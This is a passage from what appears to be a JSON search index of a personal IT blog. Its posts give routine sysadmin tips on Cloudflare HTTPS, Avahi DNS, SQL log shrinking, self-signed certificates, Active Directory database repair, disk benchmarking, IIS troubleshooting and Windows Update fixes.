\u0026gt;general in your wordpress And finaly go to cloudflare and enable always uses HTTPS under crypto Now everything is done and your website is fully HTTPS at the frontend (with automatic HTTP \u0026gt; HTTPS URL rewrites). Because my backend don\u0026rsquo;t have an SSL certificate all the data between cloudflare and my hosting company is still unencrypted. So this is a nasty workaround but you don\u0026rsquo;t have any problem with Chrome HTTPS problems in the near future anymore.\n","permalink":"https://blog.wapnet.nl/2018/02/howto-configure-cloudflare-for-wordpress/","summary":"\u003cp\u003eMy web hosting company don\u0026rsquo;t support subdomain SSL certificates. And because Google\u0026rsquo;s Chrome in July is required HTTPS on all websites (otherwise you get an error your website isn\u0026rsquo;t safe) I had some deadline to make my blog HTTPS. Cloudflare is a nice reverse proxy solution and the basic plan is free to use also.\u003c/p\u003e\n\u003cp\u003eSo what I did was create a cloudflare account and put my website behind it. After I did that I forced the HTTPS and voila my website was HTTPS. The steps you must take.\u003c/p\u003e","title":"Howto: Configure cloudflare for wordpress"},{"content":"Because this is the fifth time I fixed this issue I write a blog about it\u0026hellip;\nMicrosoft uses .local as the recommended root of internal domains, and serves them via unicast dns. Linux uses .local as the root of multicast dns. If you\u0026rsquo;re stuck on a broken MS network like this, reconfigure your linux multicast DNS to use a different domain like .alocal.\nTo do this, add a domain-name=.alocal line to the [server] section of /etc/avahi/avahi-daemon.conf, then restart avahi-daemon: sudo service avahi-daemon restart.\n[server] domain-name=.alocal You may need to flush the DNS, mDNS and resolver cache, as well as restart your web browsers to clear their internal cache.\nSource: http://www.lowlevelmanager.com/2011/09/fix-linux-dns-issues-with-local.html\n","permalink":"https://blog.wapnet.nl/2017/12/ubuntu-linux-cannot-ping-fqdn/","summary":"\u003cp\u003eBecause this is the fifth time I fixed this issue I write a blog about it\u0026hellip;\u003c/p\u003e\n\u003cp\u003eMicrosoft uses \u003ccode\u003e.local\u003c/code\u003e as the recommended root of internal domains, and serves them via \u003cem\u003eunicast\u003c/em\u003e dns. Linux uses \u003ccode\u003e.local\u003c/code\u003e as the root of \u003cem\u003emulticast\u003c/em\u003e dns. If you\u0026rsquo;re stuck on a broken MS network like this, reconfigure your linux multicast DNS to use a different domain like .alocal.\u003c/p\u003e\n\u003cp\u003eTo do this, add a \u003ccode\u003edomain-name=.alocal\u003c/code\u003e line to the \u003ccode\u003e[server]\u003c/code\u003e section of \u003ccode\u003e/etc/avahi/avahi-daemon.conf\u003c/code\u003e, then restart avahi-daemon: \u003ccode\u003esudo service avahi-daemon restart\u003c/code\u003e.\u003c/p\u003e","title":"Ubuntu Linux cannot ping FQDN"},{"content":"First backup your transaction logging:\nTasks \u0026gt; Backup Select transactionlog backup en select a disk where to backup Now check the status with DBCC LOGINFO(DATABASENAME) Check if the last status record is 0 (zero) When the status is 2 make another backup When the status is 0 you can run: DBCC SHRINKFILE(2) You can use this script also: Backup LOG DBNAME TO DISK = 'C:\\SQL_TMP\\transactionlog.trn' WITH STATS GO DBCC LOGINFO(DBNAME) DBCC SHRINKFILE(2)\n","permalink":"https://blog.wapnet.nl/2017/09/how-to-truncate-mirrored-database-log-file/","summary":"\u003cp\u003eFirst backup your transaction logging:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eTasks \u0026gt; Backup \u003ca href=\"/wp-content/uploads/2017/09/sql3.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/09/sql3.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSelect transactionlog backup en select a disk where to backup \u003ca href=\"/wp-content/uploads/2017/09/SQL2.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/09/SQL2.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNow check the status with \u003cstrong\u003eDBCC LOGINFO(DATABASENAME)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eCheck if the last status record is 0 (zero)\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/09/SQL1-1.jpg\"\u003e\u003c/li\u003e\n\u003cli\u003eWhen the status is 2 make another backup\u003c/li\u003e\n\u003cli\u003eWhen the status is 0 you can run: \u003cstrong\u003eDBCC SHRINKFILE(2)\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eYou can use this script also:\n\u003ccode\u003eBackup LOG DBNAME TO DISK = 'C:\\SQL_TMP\\transactionlog.trn' WITH STATS GO DBCC LOGINFO(DBNAME) DBCC SHRINKFILE(2)\u003c/code\u003e\u003c/p\u003e","title":"How to truncate Mirrored Database Log File"},{"content":"A lot of installations don\u0026rsquo;t clean the old MSI and MSP files in the c:\\Windows\\Installer folder.\nThere is a nice tool to clean that mess in 2 mouse clicks with the name patchcleaner. URL: http://www.homedev.com.au/free/patchcleaner ","permalink":"https://blog.wapnet.nl/2016/11/clean-old-msi-or-msp-files-from-windows-installer-folder/","summary":"\u003cp\u003eA lot of installations don\u0026rsquo;t clean the old MSI and MSP files in the c:\\Windows\\Installer folder.\u003c/p\u003e\n\u003cp\u003eThere is a nice tool to clean that mess in 2 mouse clicks with the name patchcleaner. URL: \u003ca href=\"http://www.homedev.com.au/free/patchcleaner\"\u003ehttp://www.homedev.com.au/free/patchcleaner\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2016/11/patchcleaner2.png\"\u003e\u003cimg alt=\"patchcleaner2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/patchcleaner2.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2016/11/patchcleaner1.png\"\u003e\u003cimg alt=\"patchcleaner1\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/patchcleaner1.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Clean old MSI or MSP files from c:\\Windows\\Installer folder"},{"content":"Method #1 Won\u0026rsquo;t work with a maximized Window.\nAlt-Tab or Click On the Window Press \u0026ldquo;Alt \u0026amp; Space\u0026rdquo; Press \u0026ldquo;M\u0026rdquo; Use your arrow keys to move the Window Press Enter to exit Method #2 Will move your Window to the right or left half of the screen in the same manner as dragging a window to the right or left of the screen will.\nPress the Windows Key \u0026amp; Right Arrow or Left Arrow Move a Window with the Keyboard-right Method #3 will move your Window one display to the right or left.\nPress the Windows Key \u0026amp; Shift \u0026amp; Right Arrow or Left Arrow This is an copy paste from a website. All credits to: http://www.sevenforums.com/tutorials/77361-move-window-keyboard.html\n","permalink":"https://blog.wapnet.nl/2016/11/move-a-window-when-you-dont-have-any-focus/","summary":"\u003cp\u003e\u003cstrong\u003eMethod #1\u003c/strong\u003e\nWon\u0026rsquo;t work with a maximized Window.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAlt-Tab or Click On the Window\u003c/li\u003e\n\u003cli\u003ePress \u0026ldquo;Alt \u0026amp; Space\u0026rdquo;\u003c/li\u003e\n\u003cli\u003ePress \u0026ldquo;M\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eUse your arrow keys to move the Window\u003c/li\u003e\n\u003cli\u003ePress Enter to exit\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMethod #2\u003c/strong\u003e\nWill move your Window to the right or left half of the screen in the same manner as dragging a window to the right or left of the screen will.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePress the Windows Key \u0026amp; Right Arrow or Left Arrow\u003c/li\u003e\n\u003cli\u003eMove a Window with the Keyboard-right\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMethod #3\u003c/strong\u003e\nwill move your Window one display to the right or left.\u003c/p\u003e","title":"Move a window when you don't have any focus"},{"content":"If you follow these steps you can create a self signed certificate with the following specifications:\nWildcard certificate SHA256 hash 10 years 2048 bits public key Client and server verification Sha1 fingerprint Be aware that self-signed certificates can manipulate by a man-in-the-middle. You should not use this in critical production environments.\nPlease use windows 10 powershell in admin mode. Otherwise you will get errors\nNew-SelfSignedCertificate -certstorelocation cert:\\localmachine\\my -dnsname *.domain.local -NotBefore $([datetime]::now.AddDays(-15)) -NotAfter $([datetime]::now.AddDays(3560)) Now export the certificates. Before you copy/paste change the thumbprint with the thumbprint you get from the above command.\n$CertPassword = ConvertTo-SecureString -String \u0026#34;YourPassword\u0026#34; -Force –AsPlainText Export-PfxCertificate -Cert cert:\\LocalMachine\\My\\C6B46CEB7D3A40DB08E78B19FEDD3A24EA7A7919 -FilePath C:\\test.pfx -Password $CertPassword Export-Certificate -Cert Cert:\\LocalMachine\\My\\C6B46CEB7D3A40DB08E78B19FEDD3A24EA7A7919 -FilePath C:\\tstcert.cer Now you can import the PFX with IIS and bind the certificate in IIS. And import the *.CER in your MMC \u0026gt; Certificates \u0026gt; Computer account \u0026gt; trusted root Certification authority \u0026gt; Certificates\nHave fun with your certificate the next 10 years :D\nInspiration\n","permalink":"https://blog.wapnet.nl/2016/11/create-a-strong-self-signed-certificate-for-multiple-years/","summary":"\u003cp\u003eIf you follow these steps you can create a self signed certificate with the following specifications:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWildcard certificate\u003c/li\u003e\n\u003cli\u003eSHA256 hash\u003c/li\u003e\n\u003cli\u003e10 years\u003c/li\u003e\n\u003cli\u003e2048 bits public key\u003c/li\u003e\n\u003cli\u003eClient and server verification\u003c/li\u003e\n\u003cli\u003eSha1 fingerprint\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eBe aware that self-signed certificates can manipulate by a man-in-the-middle. You should not use this in critical production environments.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ePlease use windows 10 powershell in admin mode. Otherwise you will get errors\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-SelfSignedCertificate -certstorelocation cert:\\localmachine\\my -dnsname *.domain.local -NotBefore $([datetime]::now.AddDays(-15)) -NotAfter $([datetime]::now.AddDays(3560))\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow export the certificates. Before you copy/paste change the thumbprint with the thumbprint you get from the above command.\u003c/p\u003e","title":"Create a strong self-signed certificate for multiple years"},{"content":"I know for sure you have a track in your spotify playlist and you want more like that kind of music. There is a way to find all the public spotify playlists based on fans like yourself. Spotify unfortunately don\u0026rsquo;t have a solution, ut with a smart google search you find what you need :D\nThe google search you can try is:\nsite:spotify.com \u0026ldquo;track artist\u0026rdquo; playlist\nExample:\nsite:spotify.com \u0026ldquo;do it rootkit\u0026rdquo; playlist\n","permalink":"https://blog.wapnet.nl/2016/11/spotify-find-a-playlist-based-on-a-track/","summary":"\u003cp\u003eI know for sure you have a track in your spotify playlist and you want more like that kind of music. There is a way to find all the public spotify playlists based on fans like yourself. Spotify unfortunately don\u0026rsquo;t have a solution, ut with a smart google search you find what you need :D\u003c/p\u003e\n\u003cp\u003eThe google search you can try is:\u003c/p\u003e\n\u003cp\u003esite:spotify.com \u0026ldquo;track artist\u0026rdquo; playlist\u003c/p\u003e\n\u003cp\u003eExample:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.google.nl/search?q=site%3Aspotify.com+%22rootkit+do+it%22+playlist\"\u003esite:spotify.com \u0026ldquo;do it rootkit\u0026rdquo; playlist\u003c/a\u003e\u003c/p\u003e","title":"Spotify: Find a playlist based on a track"},{"content":"Today our domain controller had a very bad day and had a bootloop after a reboot. I used recording software to capture the blue screen error: STOP: c00002e2 Directory Services could not start\nThen we found a nice article to fix this issue. We had a second working domain controller so if you have the same setup you can use this how to, to fix this problem also. All the credits go to dbutch1976\nRestart the server and press F8 key, select Directory Services restore mode. Log in with the local administrator username and password (hope you remember what you set it to!). Type cd \\windows\\system32 type NTDSUTIL type activate instance NTDS type files If you encounter an error stating that the Jet engine could not be initialized exit out of ntdsutil. type cd\\ type md backupad type cd \\windows\\ntds type copy ntds.dit c:\\backupad type cd \\windows\\system32 type esentutl /g c:\\windows\\ntds\\ntds.dit This will perform an integrity check, (the results indicate that the jet database is corrupt) Type esentutl /p c:\\windows\\ntds\\ntds.dit Agree with the prompt type cd \\windows\\ntds type move *.log c:\\backupad (or just delete the log files) This should complete the repair. To verify that the repair has worked successfully:\ntype cd \\windows\\system32 type ntdsutil type activate instance ntds type files (you should no longer get an error when you do this) type info (file info should now appear correctly) Source: https://social.technet.microsoft.com/Forums/windowsserver/en-US/771b97ad-4e1c-4e7c-8617-91601224dd7f/server-core-2008-r2-blue-screen?forum=winserverManagement\n","permalink":"https://blog.wapnet.nl/2016/10/bsod-domain-controller-stop-c00002e2-directory-services-could-not-start/","summary":"\u003cp\u003eToday our domain controller had a very bad day and had a bootloop after a reboot. I used recording software to capture the blue screen error: \u003cstrong\u003eSTOP: c00002e2 Directory Services could not start\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThen we found a nice article to fix this issue. We had a second working domain controller so if you have the same setup you can use this how to, to fix this problem also. All the credits go to \u003ca href=\"https://social.technet.microsoft.com/profile/dbutch1976/?ws=usercard-mini\"\u003edbutch1976\u003c/a\u003e\u003c/p\u003e","title":"BSOD Domain Controller STOP: c00002e2 Directory Services could not start"},{"content":"You have bought een new system and the first thing what you want to do is check the disk performance (ehhh that\u0026rsquo;s always the first thing I want to know :P )\nThere is one tool I always use: ATTO Disk Benchmark This is a very nice tool to quickly see how fast your troughput is of your new system.\nBut sometimes you want to check your IOPS. Then you can use another nice microsoft commandline benchmark tool DiskSpd\nYou can use this parameter to benchmark: diskspd -b8K -d30 -o4 -t8 -h -r -w25 -L -Z1G -c20G testfile.dat\nThis example command line will run a 30 second random I/O test using a 20GB test file located on the T: drive, with a 25% write and 75% read ratio, with an 8K block size. It will use eight worker threads, each with four outstanding I/Os and a write entropy value seed of 1GB. It will save the results of the test to a text file called DiskSpeedResults.txt. This is a pretty good set of parameters for a SQL Server OLTP workload.\nExample:\nOrginal article\nIf you get errors like:\n`Results for timespan 1:\nThe test was interrupted before the measurements began. No results are displayed. Error generating I/O requests`\nOr file creation errors like \u0026quot; Error opening file: testfile.dat\u0026quot; please try to replace the minus \u0026ldquo;-\u0026rdquo; characters with your keyboard. Sometimes your browser copy the wrong character.\nHappy benchmarking :D\n","permalink":"https://blog.wapnet.nl/2016/09/windows-iops-and-mbs-benchmarking/","summary":"\u003cp\u003eYou have bought een new system and the first thing what you want to do is check the disk performance (ehhh that\u0026rsquo;s always the first thing I want to know :P )\u003c/p\u003e\n\u003cp\u003eThere  is one tool I always use: \u003ca href=\"https://www.attotech.com/disk-benchmark/\"\u003eATTO Disk Benchmark\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2016/09/disk-benchmark.png\"\u003e\u003cimg alt=\"disk-benchmark\" loading=\"lazy\" src=\"/wp-content/uploads/2016/09/disk-benchmark.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis is a very nice tool to quickly see how fast your troughput is of your new system.\u003c/p\u003e\n\u003cp\u003eBut sometimes you want to check your IOPS. Then you can use another nice microsoft commandline benchmark tool \u003ca href=\"https://gallery.technet.microsoft.com/DiskSpd-a-robust-storage-6cd2f223\"\u003eDiskSpd\u003c/a\u003e\u003c/p\u003e","title":"Windows IOPS and MB/s benchmarking"},{"content":"Download Log Parser 2.2 from the microsoft site. After the installation google is your friend\nExample\nHits on a particular page by IP address\nLogParser -i:IISW3C \u0026#34;SELECT c-ip, COUNT(*) As Hits FROM C:\\WINDOWS\\system32\\LogFiles\\temp\\*.log WHERE EXTRACT_FILENAME(cs-uri-stem) = \u0026#39;default.aspx\u0026#39; AND sc-status = \u0026#39;200\u0026#39; GROUP BY c-ip Order by Hits DESC\u0026#34; -o:DataGrid Another great way to analyse log files is the tool: Log Parser Studio. With this tool you can easy query loggings with a GUI:\n","permalink":"https://blog.wapnet.nl/2016/08/iis-log-analyzer/","summary":"\u003cp\u003eDownload \u003ca href=\"http://www.microsoft.com/en-us/download/details.aspx?id=24659\"\u003eLog Parser 2.2\u003c/a\u003e from the microsoft site. After the installation \u003ca href=\"https://www.google.nl/search?q=Log+Parser+2.2+iis+examples\"\u003egoogle\u003c/a\u003e is your friend\u003c/p\u003e\n\u003cp\u003eExample\u003c/p\u003e\n\u003cp\u003eHits on a particular page by IP address\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLogParser -i:IISW3C \u0026#34;SELECT c-ip, COUNT(*) As Hits FROM C:\\WINDOWS\\system32\\LogFiles\\temp\\*.log WHERE EXTRACT_FILENAME(cs-uri-stem) = \u0026#39;default.aspx\u0026#39; AND sc-status = \u0026#39;200\u0026#39; GROUP BY c-ip Order by Hits DESC\u0026#34; -o:DataGrid\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnother great way to analyse log files is the tool: \u003ca href=\"https://gallery.technet.microsoft.com/Log-Parser-Studio-cd458765\"\u003eLog Parser Studio.\u003c/a\u003e With this tool you can easy query loggings with a GUI:\u003c/p\u003e","title":"IIS Log Analyzer"},{"content":"copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_6.1.7600.16385_none_c9392808773cd7da\\cleanmgr.exe to %systemroot%\\System32\ncopy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9cb6194b257cc63\\cleanmgr.exe.mui to %systemroot%\\System32\\en-Us\nRun cmd \u0026gt; cleanmgr and remove all the nasty update files!\nAfter I cleaned up the server I had to stop the windows installer service (trustedinstaller.exe) to remove the c:\\windows\\logs\\cbs\\CBS.log (6GB file) manually. Maybe a restart of the server do the same but I cannot test it on a production environment.\nHave fun!\nSource: https://support.appliedi.net/kb/a110/how-to-enable-the-disk-cleanup-tool-on-windows-server-2008-r2.aspx\n","permalink":"https://blog.wapnet.nl/2016/06/remove-windows-2008-r2-winsxs-windows-update-files/","summary":"\u003cp\u003ecopy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_6.1.7600.16385_none_c9392808773cd7da\\cleanmgr.exe to \u003cstrong\u003e%systemroot%\\System32\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ecopy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9cb6194b257cc63\\cleanmgr.exe.mui to \u003cstrong\u003e%systemroot%\\System32\\en-Us\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eRun cmd \u0026gt; cleanmgr and remove all the nasty update files!\u003c/p\u003e\n\u003cp\u003eAfter I cleaned up the server I had to stop the windows installer service (trustedinstaller.exe) to remove the c:\\windows\\logs\\cbs\\CBS.log (6GB file) manually. Maybe a restart of the server do the same but I cannot test it on a production environment.\u003c/p\u003e\n\u003cp\u003eHave fun!\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"https://support.appliedi.net/kb/a110/how-to-enable-the-disk-cleanup-tool-on-windows-server-2008-r2.aspx\"\u003ehttps://support.appliedi.net/kb/a110/how-to-enable-the-disk-cleanup-tool-on-windows-server-2008-r2.aspx\u003c/a\u003e\u003c/p\u003e","title":"Remove Windows 2008 r2 WinSXS \"Windows Update\" files"},{"content":"Export the Private Key: `\nopenssl pkcs12 -in filename.pfx -nocerts -out key.pem Remove the password from the SSL certificate (unencrypted is needed for plesk):\nopenssl rsa -in key.pem -out server.key Export the certificate:\nopenssl pkcs12 -in filename.pfx -clcerts -nokeys -out cert.pem `\nNow upload the certificate:\nAnd bind the certificate in your hosting settings:\n","permalink":"https://blog.wapnet.nl/2015/12/convert-pfx-to-pem-and-upload-the-certificate-to-plesk/","summary":"\u003cp\u003eExport the Private Key:\n`\u003c/p\u003e\n\u003ch1 id=\"openssl-pkcs12--in-filenamepfx--nocerts--out-keypem\"\u003eopenssl pkcs12 -in filename.pfx -nocerts -out key.pem\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003eRemove the password from the SSL certificate (unencrypted is needed for plesk):\u003c/code\u003e\u003c/p\u003e\n\u003ch1 id=\"openssl-rsa--in-keypem--out-serverkey\"\u003eopenssl rsa -in key.pem -out server.key\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003eExport the certificate:\u003c/code\u003e\u003c/p\u003e\n\u003ch1 id=\"openssl-pkcs12--in-filenamepfx--clcerts--nokeys--out-certpem\"\u003eopenssl pkcs12 -in filename.pfx -clcerts -nokeys -out cert.pem\u003c/h1\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003cp\u003eNow upload the certificate:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/12/SSL-thawte.png\"\u003e\u003cimg alt=\"ssl-thawte\" loading=\"lazy\" src=\"/wp-content/uploads/2015/12/SSL-thawte.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAnd bind the certificate in your hosting settings:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/12/SSL-PII.png\"\u003e\u003cimg alt=\"SSL-PII\" loading=\"lazy\" src=\"/wp-content/uploads/2015/12/SSL-PII.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Convert PFX to PEM and upload the certificate to Plesk"},{"content":"I\u0026rsquo;ve created a batch file which find out what was hanging my .NET application.\n:loop CLS time /t \u0026gt;\u0026gt;crappy_site_log.txt %windir%\\system32\\inetsrv\\appcmd list requests /elapsed:5000 \u0026gt;\u0026gt;crappy_site_log.txt ping -n 4 127.0.0.1 GOTO loop This command logs every request above the 5 seconds.\nThis idea came from: https://www.leansentry.com/Guide/IIS-AspNet-Hangs\n","permalink":"https://blog.wapnet.nl/2015/11/troubleshoot-iis-hangs/","summary":"\u003cp\u003eI\u0026rsquo;ve created a batch file which find out what was hanging my .NET application.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e:loop\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCLS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etime /t \u0026gt;\u0026gt;crappy_site_log.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e%windir%\\system32\\inetsrv\\appcmd list requests /elapsed:5000 \u0026gt;\u0026gt;crappy_site_log.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eping -n 4 127.0.0.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGOTO loop\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis command logs every request above the 5 seconds.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/11/IIS-debug.png\"\u003e\u003cimg alt=\"IIS-debug\" loading=\"lazy\" src=\"/wp-content/uploads/2015/11/IIS-debug.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis idea came from: \u003ca href=\"https://www.leansentry.com/Guide/IIS-AspNet-Hangs\"\u003ehttps://www.leansentry.com/Guide/IIS-AspNet-Hangs\u003c/a\u003e\u003c/p\u003e","title":"Troubleshoot IIS hangs"},{"content":"On my windows 2008 r2 server, Windows update was running forever :(\nI tried a lot of things but fixing the problem was really simple:\nGo to https://support.microsoft.com/en-us/kb/971058 Download the fixit Run the fixit and follow the wizard Then your problem will be fixed automatically :)\nStill problems? Try this post: http://superuser.com/questions/951960/windows-7-sp1-windows-update-stuck-checking-for-updates Note: If you have a WSUS server and you still have problems to find windows updates you can try to temporary disable the WSUS client to change the registry key UseWUServer to dword:00000000 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU] \u0026quot;UseWUServer\u0026quot;=dword:00000000 ","permalink":"https://blog.wapnet.nl/2015/08/windows-update-is-looping-forever/","summary":"\u003cp\u003eOn my windows 2008 r2 server, Windows update was running forever :(\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/08/Windows-update-Fix-2.png\"\u003e\u003cimg alt=\"Windows update - Fix - 2\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/Windows-update-Fix-2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI tried a lot of things but fixing the problem was really simple:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eGo to \u003ca href=\"https://support.microsoft.com/en-us/kb/971058\"\u003ehttps://support.microsoft.com/en-us/kb/971058\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDownload the fixit\u003c/li\u003e\n\u003cli\u003eRun the fixit and follow the wizard\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThen your problem will be fixed automatically :)\u003c/p\u003e\n\u003cp\u003eStill problems? Try this post: \u003ca href=\"http://superuser.com/questions/951960/windows-7-sp1-windows-update-stuck-checking-for-updates\"\u003ehttp://superuser.com/questions/951960/windows-7-sp1-windows-update-stuck-checking-for-updates\u003c/a\u003e \u003cstrong\u003eNote:\u003c/strong\u003e If you have a WSUS server and you still have problems to find windows updates you can try to temporary disable the WSUS client to change the registry key UseWUServer to dword:00000000\n\u003ccode\u003e[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU] \u0026quot;UseWUServer\u0026quot;=dword:00000000\u003c/code\u003e \u003ca href=\"/wp-content/uploads/2015/08/Windows-update-Fix.png\"\u003e\u003cimg alt=\"Windows update - Fix\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/Windows-update-Fix.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Windows update is looping forever"},{"content":"There is a nice cross-platform open source tool to find out what the best DNS server is for your internet connection.\nGo to https://code.google.com/p/namebench/downloads/list Download the namebench tool Extract and start the tool Click on \u0026ldquo;Start Benchmark This benchmark takes some time. About +/- 15 minutes. Then you get the results in your browser:\n201% faster name query performance!!! WOW!\nWhen everything is setup you can check your DNS settings with a nice website: https://www.dnsleaktest.com/ To find the best DNS server for you start the tool at different times during the day.\nHappy resolving :-)\n","permalink":"https://blog.wapnet.nl/2015/08/find-your-fastest-dns-server/","summary":"\u003cp\u003eThere is a nice cross-platform open source tool to find out what the best DNS server is for your internet connection.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eGo to \u003ca href=\"https://code.google.com/p/namebench/downloads/list\"\u003ehttps://code.google.com/p/namebench/downloads/list\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDownload the namebench tool\u003c/li\u003e\n\u003cli\u003eExtract and start the tool\u003c/li\u003e\n\u003cli\u003eClick on \u0026ldquo;Start Benchmark\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/08/2015-08-19-23_40_10-namebench.png\"\u003e\u003cimg alt=\"2015-08-19 23_40_10-namebench\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/2015-08-19-23_40_10-namebench.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis benchmark takes some time. About +/- 15 minutes. Then you get the results in your browser:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/08/DNS-Namebench1.png\"\u003e\u003cimg alt=\"DNS-Namebench1\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/DNS-Namebench1.png\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2015/08/DNS-Namebench2.png\"\u003e\u003cimg alt=\"DNS-Namebench2\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/DNS-Namebench2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e201% faster name query performance!!! WOW!\u003c/p\u003e\n\u003cp\u003eWhen everything is setup you can check your DNS settings with a nice website: \u003ca href=\"https://www.dnsleaktest.com/\"\u003ehttps://www.dnsleaktest.com/\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2015/08/2015_08_19_23_34_48_Store.png\"\u003e\u003cimg alt=\"2015_08_19_23_34_48_Store\" loading=\"lazy\" src=\"/wp-content/uploads/2015/08/2015_08_19_23_34_48_Store.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Find your fastest DNS server"},{"content":"Solution is very simple\u0026hellip; Remove Hyper-V :)\n","permalink":"https://blog.wapnet.nl/2015/08/virtualbox-windows-10-64-bits-guests-are-missing/","summary":"\u003cp\u003eSolution is very simple\u0026hellip; Remove Hyper-V :)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/08/2015-08-08-13_10_12-Programs-and-Features.png\"\u003e\u003cimg alt=\"2015-08-08 13_10_12-Programs and Features\" loading=\"lazy\" 